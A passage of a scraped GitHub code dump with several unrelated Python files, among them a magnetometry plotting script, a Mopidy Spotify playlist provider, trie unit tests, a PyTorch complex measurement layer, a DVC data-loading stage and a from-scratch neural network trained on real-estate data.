'Ms_mean: ', 0.5*(np.absolute(intercept_q12) + np.absolute(intercept_q34)))\r\n\r\nprint('---------------------------------')\r\nprint('slope_mdl: ', slope_mdl_cut)\r\nprint('intercept_mdl: ', intercept_mdl_cut)\r\nprint('r_value_mdl: ', r_value_mdl_cut)\r\nprint('std_err_mdl:', std_err_mdl_cut)\r\nprint('---------------------------------')\r\n\r\n# create the fig and plot\r\nfig, ax = plt.subplots(figsize=(9, 9), dpi=72)\r\nspec = gridspec.GridSpec(ncols=1, nrows=1)\r\nfig.canvas.set_window_title('mdl_fit_plot_' + version_name) \r\nplt.figtext(0.80, 0.98, version_name, size=12)\r\n\r\n#tx2, = plt.plot(vsm_data[0], fit_params[0]*vsm_data[0] + fit_params[2], 'b--')\r\n\r\ntx1, = plt.plot(FM_thickness, FM_Ms*FM_thickness,'ko', mfc='lightgray', markersize=6, label=label_mdl)\r\ntx2, = plt.plot(FM_thickness_range, FM_thickness_range*slope_mdl + intercept_mdl,'k-', mfc='lightgray', markersize=6, label=label_mdl)\r\n# display the legend for the defined labels\r\nplt.legend([tx1, tx2], [label_mdl, 'fit'], loc='upper left', fontsize=14 , frameon=True)\r\nplt.figtext(0.05, 0.92, r'$MDL:$ ' + np.str(np.round(-1.0*intercept_mdl / slope_mdl,3)) + r'$\\;nm$' + '\ta: ' + np.str(slope_mdl) + '\tb: ' + np.str(intercept_mdl) + '\\n' + r'$R^2:$' + np.str(r_value_mdl*r_value_mdl) + '\tS: ' + np.str(std_err_mdl), size=14)\r\n\r\nplt.xlim(xmin, xmax)\r\nplt.ylim(ymin, ymax)\r\n\r\ncustom_axis_formater(plot_title, axis_label_nm, axis_label_msd, xmin, xmax, ymin, ymax, xprec, yprec)\r\n#-----------------------------------------------------------------------------------------------------\r\n\r\nfig1 = plt.figure(figsize=(9, 9), dpi=72)\r\nfig1.canvas.set_window_title(version_name)\r\nspec1 = gridspec.GridSpec(ncols=1, nrows=1)\r\nxy1 = fig1.add_subplot(spec1[0,0])\r\ntx3, = plt.plot(FM_thickness_range, FM_thickness_range*slope_mdl_cut + intercept_mdl_cut,'r-', mfc='lavenderblush', markersize=6, label=label_mdl)\r\ntx4, = plt.plot(FM_thickness, FM_Ms*FM_thickness,'ro', mfc='lavenderblush', markersize=6, label=label_mdl)\r\n\r\n\r\n# display the legend for the defined labels\r\nplt.legend([tx4, tx3], ['expt', 'fit'], loc='upper left', fontsize=20 , frameon=True)\r\n\r\nplt.xlim(xmin, xmax)\r\nplt.ylim(ymin, ymax)\r\n\r\ncustom_axis_formater(plot_title, axis_label_nm, axis_label_msd, xmin, xmax, ymin, ymax, xprec, yprec)\r\n#xy1.xaxis.grid(True, zorder=0, color='gainsboro', linestyle='-', linewidth=0)\r\n#xy1.yaxis.grid(True, zorder=0, color='gainsboro', linestyle='-', linewidth=0)\r\n\r\nfig1.tight_layout(pad=1.0, w_pad=6.0, h_pad=1.0)\r\nplt.subplots_adjust(left=0.1, bottom=0.07, wspace=0.0, hspace=0.0)\r\n\r\naxins = inset_axes(xy1,\r\n   \t\t\t\t\t\twidth=\"40%\", # width = 30% of parent_bbox\r\n                        height=\"40%\", # height : 1 inch\r\n                        loc=\"lower right\",\r\n                        borderpad=5)\r\naxins.plot(FM_thickness_range, FM_thickness_range*slope_mdl_cut + intercept_mdl_cut, 'r-', lw=1.5, markersize=8, label=label_xy_fit)\r\naxins.plot(FM_thickness, FM_Ms*FM_thickness, 'ro', mfc='lavenderblush', markersize=8, label=label_xy)\r\ncustom_axis_formater_inset(plot_title, axis_label_nm, axis_label_delta_Ryz, xmin, xmax, ymin, ymax, xprec, yprec)\r\n\r\nplt.xlim(0, 12)\r\nplt.ylim(0, 12)\r\n\r\n#-----------------------------------------------------------------------------------------------------\r\n\r\n# create the fig and plot\r\nfig2, ax2 = plt.subplots(figsize=(9, 9), dpi=72)\r\nspec2 = gridspec.GridSpec(ncols=1, nrows=1)\r\nfig2.canvas.set_window_title('mdl_fit_plot_' + version_name) \r\nplt.figtext(0.80, 0.98, version_name, size=12)\r\n\r\n#tx2, = plt.plot(vsm_data[0], fit_params[0]*vsm_data[0] + fit_params[2], 'b--')\r\n\r\ntx5, = plt.plot(FM_thickness[0:3], FM_Ms[0:3]*FM_thickness[0:3],'ko', mfc='lightgray', markersize=6, label=label_mdl)\r\ntx6, = plt.plot(FM_thickness_range_10, FM_thickness_range_10*slope_mdl_cut + intercept_mdl_cut,'k-', mfc='lightgray', markersize=6, label=label_mdl)\r\n# display the legend for the defined labels\r\nplt.legend([tx5, tx6], [label_mdl, 'fit'], loc='upper left', fontsize=14 , frameon=True)\r\nplt.figtext(0.05, 0.92, r'$MDL:$ ' + np.str(np.round(-1.0*intercept_mdl_cut / slope_mdl_cut,3)) + r'$\\;nm$' + '\ta: ' + np.str(slope_mdl_cut) + '\tb: ' + np.str(intercept_mdl_cut) + '\\n' + r'$R^2:$' + np.str(r_value_mdl_cut*r_value_mdl_cut) + '\tS: ' + np.str(std_err_mdl_cut), size=14)\r\n\r\nplt.xlim(0, 12)\r\nplt.ylim(0, 12)\r\n\r\ncustom_axis_formater(plot_title, axis_label_nm, axis_label_msd, xmin, xmax, ymin, ymax, xprec, yprec)\r\n#-----------------------------------------------------------------------------------------------------\r\n\r\npp = PdfPages(out_pdf)\r\npp.savefig(fig)\r\npp.close()\r\npp1 = PdfPages(out1_pdf)\r\npp1.savefig(fig1)\r\npp1.close()\r\n\r\n# save as .svg too\r\nfig = plt.savefig(out_svg)\r\nfig1 = plt.savefig(out1_svg)\r\n\r\nplt.show()","repo_name":"tatsunootoshigoio/mdl","sub_path":"mdl.py","file_name":"mdl.py","file_ext":"py","file_size_in_byte":11663,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"890844799","text":"from __future__ import unicode_literals\n\nimport collections\nimport logging\nimport time\n\nfrom mopidy import backend\n\nimport spotify\n\nfrom mopidy_spotify import translator, utils\n\n\n_API_BASE_URI = 'https://api.spotify.com/v1'\n\nlogger = logging.getLogger(__name__)\n\n\nCachedItem = collections.namedtuple('CachedItem', ['item', 'version', 'expires'])\n\n\nclass ItemCache(object):\n\n    def __init__(self, lifetime):\n        self._data = collections.OrderedDict()\n        self.expires = 0\n        self.lifetime = lifetime\n\n    def get(self, uri, default=None):\n        return self._data[uri] if uri in self._data else default\n\n    def update(self, item=None, version=0):\n        self.expires = time.time() + self.lifetime\n        if item:\n            self._data[item.uri] = CachedItem(item, version, self.expires)\n\n    def clear(self):\n        self._data.clear()\n        self.expires = 0\n\n    def valid(self, uri=None):\n        if uri is None:\n            expires = self.expires\n        elif uri in self._data:\n            expires = self._data[uri].expires\n        else:\n            return False\n        return expires > time.time()\n\n    @property\n    def items(self):\n        for v in self._data.values():\n            yield v\n\n    def validate(self, item):\n        uri = item.get('uri')\n        if uri in self._data:\n            if self._data[uri].version != item.get('snapshot_id'):\n                del self._data[uri]\n\n\nclass SpotifyPlaylistsProvider(backend.PlaylistsProvider):\n\n    def __init__(self, backend):\n        self._backend = backend\n        self._ref_cache = ItemCache(60)\n        self._full_cache = ItemCache(60*60)\n\n    def as_list(self):\n        with utils.time_logger('playlists.as_list()'):\n            return list(self._get_flattened_playlist_refs())\n\n    def _get_all_items(self, first_result, params=None):\n        if params is None:\n            params = {}\n        items = first_result['items']\n        uri = first_result['next']\n        while uri is not None:\n            logger.debug(\"Getting next page\")\n            next_result = self._backend._web_client.get(uri, params=params)\n            #for item in next_result.get('items', []):\n                #yield item\n            items.extend(next_result['items'])\n            uri = next_result.get('next', None)\n        return items\n\n    def _get_flattened_playlist_refs(self):\n        if self._ref_cache.valid():\n            logger.debug(\"Getting playlist references using cache\")\n            for p in self._ref_cache.items:\n                yield p.item\n            return\n\n        logger.debug(\"Resetting playlist references cache\")\n        self._ref_cache.clear()\n        if self._backend._session is None:\n            return\n\n        username = self._backend._session.user_name\n\n        result = self._backend._web_client.get('me/playlists', params={\n            'limit': 50 })\n\n        if result is None:\n            logger.error(\"No playlists found\") # is this an error condition or normal?\n            self._ref_cache.update()\n            return\n\n        for web_playlist in self._get_all_items(result):\n            self._full_cache.validate(web_playlist)\n            playlist_ref = translator.web_to_playlist_ref(\n                web_playlist, username=username)\n            if playlist_ref is not None:\n                self._ref_cache.update(playlist_ref)\n                logger.info(\"Got playlist ref %s %s\" % (playlist_ref.name, playlist_ref.uri))\n                yield playlist_ref\n\n    def get_items(self, uri):\n        with utils.time_logger('playlist.get_items(%s)' % uri):\n            return self._get_playlist(uri, as_items=True)\n\n    def lookup(self, uri):\n        with utils.time_logger('playlists.lookup(%s)' % uri):\n            return self._get_playlist(uri)\n\n    def _get_playlist(self, uri, as_items=False):\n        logger.debug(\"Getting playlist URI %s\", uri)\n        def gen_fields(name, fields=[]):\n            fields = ['uri', 'name'] + fields\n            return '%s(%s)' % (name, ','.join(fields))\n\n\n        fields = ['name', 'owner', 'type', 'uri', 'snapshot_id']\n        if as_items:\n            fields.append('tracks')\n\n        link = translator.parse_uri(uri)\n        web_playlist = self._full_cache.get(uri, None)\n\n        if web_playlist is not None:\n            if web_playlist.item.tracks:\n                logger.debug('Playlist %s found in cache', uri)\n                return web_playlist.item\n            else:\n                logger.debug('Cached copy for playlist %s without tracks so re-requesting', uri)\n                web_playlist = None\n\n        if web_playlist is None:\n            if 'tracks' not in fields:\n                fields.append('tracks')\n\n            params = {'fields': ','.join(fields), 'market': 'from_token'}\n            web_playlist = self._backend._web_client.get(\n                'users/%s/playlists/%s' % (link.owner, link.id),\n                params=params)\n\n            if web_playlist is not None and 'tracks' in web_playlist:\n                web_playlist['tracks'] = [\n                    t['track'] for t in\n                    self._get_all_items(web_playlist['tracks'])]\n\n        if web_playlist is None:\n            logger.debug('Failed to lookup Spotify URI %s', uri)\n            return\n\n        username = self._backend._session.user_name\n        playlist_ref = translator.web_to_playlist(\n            web_playlist, username=username, bitrate=self._backend._bitrate,\n            as_items=as_items)\n\n        self._full_cache.update(playlist_ref, version=web_playlist['snapshot_id'])\n        return playlist_ref\n\n    def refresh(self):\n        self._ref_cache.clear()\n\n    def create(self, name):\n        try:\n            sp_playlist = (\n                self._backend._session.playlist_container\n                .add_new_playlist(name))\n        except ValueError as exc:\n            logger.warning(\n                'Failed creating new Spotify playlist \"%s\": %s', name, exc)\n        except spotify.Error:\n            logger.warning('Failed creating new Spotify playlist \"%s\"', name)\n        else:\n            username = self._backend._session.user_name\n            return translator.to_playlist(sp_playlist, username=username)\n\n    def delete(self, uri):\n        pass  # TODO\n\n    def save(self, playlist):\n        pass  # TODO\n\n\ndef on_container_loaded(sp_playlist_container):\n    # Called from the pyspotify event loop, and not in an actor context.\n    logger.debug('Spotify playlist container loaded')\n\n    # This event listener is also called after playlists are added, removed and\n    # moved, so since Mopidy currently only supports the \"playlists_loaded\"\n    # event this is the only place we need to trigger a Mopidy backend event.\n    backend.BackendListener.send('playlists_loaded')\n\n\ndef on_playlist_added(sp_playlist_container, sp_playlist, index):\n    # Called from the pyspotify event loop, and not in an actor context.\n    logger.debug(\n        'Spotify playlist \"%s\" added to index %d', sp_playlist.name, index)\n\n    # XXX Should Mopidy support more fine grained playlist events which this\n    # event can trigger?\n\n\ndef on_playlist_removed(sp_playlist_container, sp_playlist, index):\n    # Called from the pyspotify event loop, and not in an actor context.\n    logger.debug(\n        'Spotify playlist \"%s\" removed from index %d', sp_playlist.name, index)\n\n    # XXX Should Mopidy support more fine grained playlist events which this\n    # event can trigger?\n\n\ndef on_playlist_moved(\n        sp_playlist_container, sp_playlist, old_index, new_index):\n    # Called from the pyspotify event loop, and not in an actor context.\n    logger.debug(\n        'Spotify playlist \"%s\" moved from index %d to %d',\n        sp_playlist.name, old_index, new_index)\n\n    # XXX Should Mopidy support more fine grained playlist events which this\n    # event can trigger?\n","repo_name":"jeremystover/mopidy-icecast","sub_path":"mpd-spt-fix/mopidy_spotify/playlists.py","file_name":"playlists.py","file_ext":"py","file_size_in_byte":7805,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"41100015231","text":"import unittest\nfrom unittest import TestCase\nfrom engine.trie.trie import PrefixTree\n\n\nclass TrieTest(TestCase):\n    def setUp(self) -> None:\n        self.trie: PrefixTree = PrefixTree()\n\n    def test_prefix_not_found_as_whole_word(self) -> None:\n        self.trie.insert('apple')\n        self.trie.insert('appreciate')\n        self.assertEqual(self.trie.find('app'), None)\n        \n    def test_prefix_is_also_whole_word(self) -> None:\n        word_list: tuple = (\n            'apple',\n            'appreciate',\n            'app',\n        )\n        for word in word_list:\n            self.trie.insert(word)\n\n        self.assertEqual(self.trie.find('app').is_word, True)\n\n    def test_starts_with(self) -> None:\n        word_list: tuple = (\n            'apple',\n            'appreciate',\n            'aposematic',\n            'apoplectic',\n            'appendix',\n        )\n        for word in word_list:\n            self.trie.insert(word)\n\n        self.assertEqual(self.trie.starts_with('app'),\n                         ['apple', 'appreciate', 'appendix'])\n\n    def test_starts_with_self(self) -> None:\n        self.trie.insert('app')\n        self.assertEqual(self.trie.starts_with('app'), ['app'])\n\n    def test_starts_with_empty_and_no_words(self) -> None:\n        self.assertEqual(self.trie.starts_with(''), [])\n\n    def test_starts_with_empty_returns_all_words(self) -> None:\n        word_list = (\n            'bad',\n            'bat',\n            'cat',\n            'cage',\n        )\n        self.assertEqual(self.trie.starts_with(''), list(word_list))\n\nif __name__ == '__main__':\n    unittest.main()","repo_name":"madjar-code/Search-Engine","sub_path":"engine/tests/test_trie.py","file_name":"test_trie.py","file_ext":"py","file_size_in_byte":1607,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"2627861096","text":"# -*- coding: utf-8 -*-\n\nimport torch\nimport torch.nn.functional as F\nimport torch.nn\n\nclass ComplexMeasurement(torch.nn.Module):\n    def __init__(self, embed_dim, units=5, ortho_init=False, device = torch.device('cpu')):\n        super(ComplexMeasurement, self).__init__()\n        self.units = units\n        self.embed_dim = embed_dim\n        device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n        if ortho_init:\n            self.kernel = torch.nn.Parameter(torch.stack([torch.eye(embed_dim).to(device),torch.zeros(embed_dim, embed_dim).to(device)],dim = -1))\n\n#            self.real_kernel = torch.nn.Parameter(torch.eye(embed_dim))\n#            self.imag_kernel = torch.nn.Parameter(torch.zeros(embed_dim, embed_dim))\n        else:\n            rand_tensor = torch.rand(self.units, self.embed_dim, 2).to(device)\n            normalized_tensor = F.normalize(rand_tensor.view(self.units, -1), p=2, dim=1, eps=1e-10).view(self.units, self.embed_dim, 2)\n            self.kernel = torch.nn.Parameter(normalized_tensor)\n#            self.kernel = F.normalize(self.kernel.view(self.units, -1), p=2, dim=1, eps=1e-10).view(self.units, embed_dim, 2)\n\n\n#            self.real_kernel = torch.nn.Parameter(torch.Tensor(self.units, embed_dim))\n#            self.imag_kernel = torch.nn.Parameter(torch.Tensor(self.units, embed_dim))\n\n    def forward(self, inputs, measure_operator=None):\n        \n        input_real = inputs[0]\n        input_imag = inputs[1]\n        \n        real_kernel = self.kernel[:,:,0]\n        imag_kernel = self.kernel[:,:,1]\n        if measure_operator is None:\n            real_kernel = real_kernel.unsqueeze(-1)\n            imag_kernel = imag_kernel.unsqueeze(-1)\n        else:\n            real_kernel = measure_operator[0].unsqueeze(-1)\n            imag_kernel = measure_operator[1].unsqueeze(-1)\n\n        projector_real = torch.matmul(real_kernel, real_kernel.transpose(1, 2)) \\\n            + torch.matmul(imag_kernel, imag_kernel.transpose(1, 2))  \n        projector_imag = torch.matmul(imag_kernel, real_kernel.transpose(1, 2)) \\\n            - torch.matmul(real_kernel, imag_kernel.transpose(1, 2))\n        # only real part is non-zero\n        # input_real.shape = [batch_size, seq_len, embed_dim, embed_dim] or [batch_size, embed_dim, embed_dim]\n        # projector_real.shape = [num_measurements, embed_dim, embed_dim]\n        output_real = torch.matmul(torch.flatten(input_real, start_dim = -2, end_dim = -1), torch.flatten(projector_real, start_dim = -2, end_dim = -1).t())\\\n            - torch.matmul(torch.flatten(input_imag, start_dim = -2, end_dim = -1), torch.flatten(projector_imag, start_dim = -2, end_dim = -1).t())\n    \n        return output_real\n    \nif __name__ == '__main__':\n    model = ComplexMeasurement(6, units=3)\n    a = torch.randn(5,6,6)\n    b = torch.randn(5,6,6)\n#\n    y_pred = model([a,b])\n    print(y_pred.shape)\n#    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n","repo_name":"qiuchili/qnn_torch","sub_path":"layers/complexnn/measurement.py","file_name":"measurement.py","file_ext":"py","file_size_in_byte":2977,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"16"}
+{"seq_id":"16459523677","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\n# Python code to find key with Maximum value in Dictionary\n\n# Dictionary Initialization\nMobile_data = {'motorola':5000, 'nokia':4500, 'oppo' : 6500, 'iphone': 100000, 'mi': 2500}\n\n#list of mobile  values in m\nm = list(Mobile_data.values())\n \n# list of mobile keys in p\np = list(Mobile_data.keys())\n \nprint(\"The maximum mobile price is  \" + p[m.index(max(m))])\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"Ramachalpandey/Assignment-sub-python-zero-to-hero","sub_path":"assignment3ramachal.py","file_name":"assignment3ramachal.py","file_ext":"py","file_size_in_byte":425,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"21907279395","text":"from sys import stdin\r\n\r\nreadline = stdin.readline\r\nn = int(readline())\r\na = list(map(int, readline().split()))\r\nb = list(map(int, readline().split()))\r\nq = int(readline())\r\nquery = [tuple(map(int, readline().split())) for _ in [0] * q]\r\n\r\na_idx_di = {v: n - i - 1 for i, v in enumerate(a[::-1])}\r\nb_idx_di = {v: n - i - 1 for i, v in enumerate(b[::-1])}\r\n\r\nab_idx_li = [0] * (n + 1)\r\nfor i, val in enumerate(a):\r\n    idx = b_idx_di.get(val, n)\r\n    ab_idx_li[i + 1] = max(ab_idx_li[i], idx)\r\n\r\nba_idx_li = [0] * (n + 1)\r\nfor i, val in enumerate(b):\r\n    idx = a_idx_di.get(val, n)\r\n    ba_idx_li[i + 1] = max(ba_idx_li[i], idx)\r\n\r\nfor x, y in query:\r\n    yy = ab_idx_li[x]\r\n    xx = ba_idx_li[y]\r\n    if xx < x and yy < y:\r\n        ans = \"Yes\"\r\n    else:\r\n        ans = \"No\"\r\n    print(ans)\r\n","repo_name":"Balut-moko/procon-grassmaker-archive","sub_path":"atcoder/abc250/abc250_e/31573005.py","file_name":"31573005.py","file_ext":"py","file_size_in_byte":793,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"39950258125","text":"from src.utils.all_utils import read_yaml, create_directory\nimport argparse\nimport pandas as pd\nimport os\n\n# this function save data to our local directory\n\ndef get_data(config_path):\n    config = read_yaml(config_path) # read config file to download data and save data to local \n    \n    remote_data_path = config['data_source']  # we have path of data\n    df = pd.read_csv(remote_data_path, sep=\";\")  # load data into dataframe. and this data seperate by ;\n\n    # now we have to save this data in local using our artifacts directory\n    # create path to directory = \"artifacts/raw_local_dir/data.csv\"\n    artifacts_dir = config['artifacts']['artifacts_dir']\n    raw_local_dir = config['artifacts']['raw_local_dir']\n\n    raw_local_file = config['artifacts']['raw_local_file']\n\n    # we got all informations. \n    # create path of directory\n    raw_local_dir_path = os.path.join(artifacts_dir, raw_local_dir)\n\n    create_directory(dirs = [raw_local_dir_path])\n\n    raw_local_file_path = os.path.join(raw_local_dir_path, raw_local_file)\n    \n    df.to_csv(raw_local_file_path, sep=\",\", index=False)\n\n\n\n\n\n# this entry calling point for this file\n# start exceution from here\nif __name__ == '__main__':\n\n    # command line agrument\n    args = argparse.ArgumentParser() # calling method\n\n    args.add_argument(\"--config\", \"-c\", default=\"config/config.yaml\")  # pass argument when program runs\n\n    parsed_args =  args.parse_args()\n\n    get_data(config_path = parsed_args.config) # calling uper function","repo_name":"mihir3030/DVC_SIMPLE_MLOPS","sub_path":"src/stage_01_load_save.py","file_name":"stage_01_load_save.py","file_ext":"py","file_size_in_byte":1497,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"10703149635","text":"import numpy as np\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nimport seaborn as sns\r\nimport os\r\n\r\nclass MyNeuralNetwork:\r\n    def __init__(self, num_layers, num_units, num_epochs, learning_rate, momentum, activation_function, validation_percentage):\r\n        self.L = num_layers\r\n        self.n = num_units\r\n        self.num_epochs = num_epochs\r\n        self.eta = learning_rate\r\n        self.alpha = momentum\r\n        self.fact = activation_function\r\n        self.validation_percentage = validation_percentage\r\n        self.xi = [np.zeros(layer_units) for layer_units in num_units]\r\n        self.h = [np.zeros(layer_units) for layer_units in num_units]\r\n        self.w = [None] + [np.zeros((num_units[i], num_units[i - 1])) for i in range(1, num_layers)]\r\n        self.theta = [np.zeros(layer_units) for layer_units in num_units]\r\n        self.delta = [np.zeros(layer_units) for layer_units in num_units]\r\n        self.d_w = [None] + [np.zeros((num_units[i], num_units[i - 1])) for i in range(1, num_layers)]\r\n        self.d_theta = [np.zeros(layer_units) for layer_units in num_units]\r\n        self.d_w_prev = [None] + [np.zeros((num_units[i], num_units[i - 1])) for i in range(1, num_layers)]\r\n        self.d_theta_prev = [np.zeros(layer_units) for layer_units in num_units]\r\n        self.training_error = []\r\n        self.validation_error = []\r\n\r\n    # Sigmoid activation function\r\n    def sigmoid(self, x):\r\n        return 1 / (1 + np.exp(-x))\r\n\r\n    def sigmoid_derivative(self, x):\r\n        return x * (1 - x)\r\n\r\n    def relu(self, x):\r\n        return np.maximum(0, x)\r\n\r\n    def relu_derivative(self, x):\r\n        return (x > 0).astype(float)\r\n\r\n    def linear(self, x):\r\n        return x\r\n\r\n    def linear_derivative(self, x):\r\n        return np.ones_like(x)\r\n\r\n    def tanh(self, x):\r\n        return np.tanh(x)\r\n\r\n    def tanh_derivative(self, x):\r\n        return 1 - x**2\r\n\r\n    def activation(self, x):\r\n        if self.fact == 'sigmoid':\r\n            return self.sigmoid(x)\r\n        elif self.fact == 'relu':\r\n            return self.relu(x)\r\n        elif self.fact == 'linear':\r\n            return self.linear(x)\r\n        elif self.fact == 'tanh':\r\n            return self.tanh(x)\r\n\r\n    def activation_derivative(self, x):\r\n        if self.fact == 'sigmoid':\r\n            return self.sigmoid_derivative(x)\r\n        elif self.fact == 'relu':\r\n            return self.relu_derivative(x)\r\n        elif self.fact == 'linear':\r\n            return self.linear_derivative(x)\r\n        elif self.fact == 'tanh':\r\n            return self.tanh_derivative(x)\r\n\r\n    def feed_forward(self, sample):\r\n        self.xi[0] = sample\r\n        for l in range(1, self.L):\r\n            self.h[l] = np.dot(self.w[l], self.xi[l - 1]) - self.theta[l]\r\n            self.xi[l] = self.activation(self.h[l])\r\n\r\n    def backpropagate(self, target):\r\n        self.delta[self.L - 1] = self.activation_derivative(self.xi[self.L - 1]) * (self.xi[self.L - 1] - target)\r\n        for l in range(self.L - 2, 0, -1):\r\n            self.delta[l] = self.activation_derivative(self.xi[l]) * np.dot(self.w[l + 1].T, self.delta[l + 1])\r\n\r\n    def update_weights(self):\r\n        for l in range(1, self.L):\r\n            self.d_w[l] = -self.eta * np.outer(self.delta[l], self.xi[l - 1]) + self.alpha * self.d_w_prev[l]\r\n            self.d_theta[l] = self.eta * self.delta[l] + self.alpha * self.d_theta_prev[l]\r\n            self.w[l] += self.d_w[l]\r\n            self.theta[l] += self.d_theta[l]\r\n            self.d_w_prev[l] = self.d_w[l]\r\n            self.d_theta_prev[l] = self.d_theta[l]\r\n\r\n    def calculate_total_error(self, X, y):\r\n        total_error = 0.0\r\n        for i in range(X.shape[0]):\r\n            self.feed_forward(X[i])\r\n            total_error += 0.5 * np.sum((self.xi[self.L - 1] - y[i]) ** 2)\r\n        return total_error\r\n\r\n    def fit(self, X, y):\r\n        # Split data into training and validation sets\r\n        n_samples = X.shape[0]\r\n        if self.validation_percentage > 0:\r\n            n_train = int(n_samples * (1.0 - self.validation_percentage))\r\n            X_train = X[:n_train]\r\n            y_train = y[:n_train]\r\n            X_val = X[n_train:]\r\n            y_val = y[n_train:]\r\n        else:\r\n            X_train = X\r\n            y_train = y\r\n            X_val = np.array([])\r\n            y_val = np.array([])\r\n\r\n        for epoch in range(self.num_epochs):\r\n            for i in range(X_train.shape[0]):\r\n                sample = X_train[i]\r\n                target = y_train[i]\r\n\r\n                self.feed_forward(sample)\r\n                self.backpropagate(target)\r\n                self.update_weights()\r\n\r\n            # Calculate training error\r\n            train_error = self.calculate_total_error(X_train, y_train)\r\n            self.training_error.append(train_error)\r\n\r\n            # Calculate validation error\r\n            if X_val.shape[0] > 0:\r\n                val_error = self.calculate_total_error(X_val, y_val)\r\n                self.validation_error.append(val_error)\r\n\r\n    def predict(self, X):\r\n        predictions = []\r\n        for sample in X:\r\n            self.feed_forward(sample)\r\n            predictions.append(self.xi[self.L - 1].copy())\r\n        return np.array(predictions)\r\n\r\n    # Function to retrieve epoch-wise loss data in the required format\r\n    def get_epoch_losses(self):\r\n        epochs = list(range(1, self.num_epochs + 1))\r\n        return np.column_stack((epochs, self.training_error, self.validation_error))\r\n\r\n    # Modify the loss_epochs() function to use get_epoch_losses()\r\n    def loss_epochs(self):\r\n        return self.get_epoch_losses()\r\n\r\n# Function to train a neural network on a given dataset\r\ndef train_neural_network(dataset, input_columns, output_column, num_layers, num_units, num_epochs, learning_rate, momentum, activation_function, validation_percentage):\r\n    X = dataset[input_columns].values\r\n    y = dataset[output_column].values.reshape(-1, 1)\r\n\r\n    nn = MyNeuralNetwork(num_layers, num_units, num_epochs, learning_rate, momentum, activation_function, validation_percentage)\r\n    \r\n    nn.fit(X, y)\r\n    \r\n    X_test = X  # You can use a different test dataset if needed\r\n    predictions = nn.predict(X_test)\r\n\r\n    return nn, predictions\r\n\r\n# Load the three datasets\r\n#dataset1 = pd.read_csv('modified_A1-turbine.csv')\r\n#dataset2 = pd.read_csv('A1-synthetic.csv')\r\ndataset3 = pd.read_csv('A1-real_estate.csv')\r\n\r\n# Define input and output columns for each dataset\r\n#input_columns1 = ['height_over_sea_level', 'fall', 'net', 'fall_1', 'flow']\r\n#output_column1 = 'power_of_hydroelectrical_turbine'\r\n\r\n#input_columns2 = ['v1', 'v2', 'v3', 'v4', 'v5', 'v6', 'v7', 'v8', 'v9']\r\n#output_column2 = 'z'\r\n\r\ninput_columns3 = ['X1 transaction date', 'X2 house age', 'X3 distance to the nearest MRT station', 'X4 number of convenience stores', 'X5 latitude', 'X6 longitude']\r\noutput_column3 = 'Y house price of unit area'\r\n\r\n# Define neural network configurations for each dataset\r\n\r\n#num_units1 = [len(input_columns1)] + [10, 5, 1]  # Adjust the architecture as needed\r\n#num_units2 = [len(input_columns2)] + [10, 5, 1]\r\nnum_units3 = [len(input_columns3)] + [10, 5, 1]\r\n\r\nnum_layers = 4\r\nnum_epochs = 1000\r\nlearning_rate = 0.1\r\nmomentum = 0.0\r\nactivation_function = \"sigmoid\"\r\nvalidation_percentage = 0.2\r\n\r\n# Train the neural network for each dataset\r\n#nn1, predictions1 = train_neural_network(dataset1, input_columns1, output_column1, num_layers, num_units1, num_epochs, learning_rate, momentum, activation_function, validation_percentage)\r\n\r\n#nn2, predictions2 = train_neural_network(dataset2, input_columns2, output_column2, num_layers, num_units2, num_epochs, learning_rate, momentum, activation_function, validation_percentage)\r\n\r\nnn3, predictions3 = train_neural_network(dataset3, input_columns3, output_column3, num_layers, num_units3, num_epochs, learning_rate, momentum, activation_function, validation_percentage)\r\n\r\n# For dataset 1\r\n#loss_data1 = nn1.loss_epochs()\r\n\r\n# For dataset 2 \r\n#ta2 = nn2.loss_epochs()\r\n\r\n# For dataset 3\r\nloss_data3 = nn3.loss_epochs()\r\n\r\n# Define headers for the loss data CSV file\r\nloss_headers = ['Epochs', 'Training Loss', 'Validation Loss']\r\n\r\n# Combine headers with the loss dataset 1\r\n#loss_data_with_headers = np.vstack([loss_headers, loss_data1])\r\n\r\n# Combine headers with the loss dataset 2\r\n#loss_data_with_headers = np.vstack([loss_headers, loss_data2])\r\n\r\n# Combine headers with the loss dataset 3\r\nloss_data_with_headers = np.vstack([loss_headers, loss_data3])\r\n\r\n# Save the loss data along with headers to a CSV file\r\nnp.savetxt(\"loss_data_real_estate.csv\", loss_data_with_headers, delimiter=\",\", fmt='%s')\r\n\r\n# Save predictions to files\r\n#np.savetxt(\"predictions_dataset1.csv\", predictions1, delimiter=\",\")\r\n#np.savetxt(\"predictions_dataset2.csv\", predictions2, delimiter=\",\")\r\nnp.savetxt(\"predictions_real_estate.csv\", predictions3, delimiter=\",\")\r\n\r\n# Generate line plots for training and validation losses vs. epochs\r\nplt.figure(figsize=(8, 6))\r\nplt.plot(loss_data3[:, 0], loss_data3[:, 1], label='Training Loss')\r\nplt.plot(loss_data3[:, 0], loss_data3[:, 2], label='Validation Loss')\r\nplt.xlabel('Epochs')\r\nplt.ylabel('Loss')\r\nplt.title('Training and Validation Loss Over Epochs (Real Estate)')\r\nplt.legend()\r\nplt.grid(True)\r\nplt.savefig('loss_plot_real_estate.png')\r\nplt.show()\r\n\r\n# Assuming predictions2 contains predicted values and dataset2 contains the real values\r\nreal_values = dataset3[output_column3].values.reshape(-1, 1)\r\n\r\n# Generate scatter plot for real values vs. predicted values\r\nplt.figure(figsize=(8, 6))\r\nplt.scatter(real_values, predictions3, alpha=0.5)\r\nplt.xlabel('Real Values')\r\nplt.ylabel('Predicted 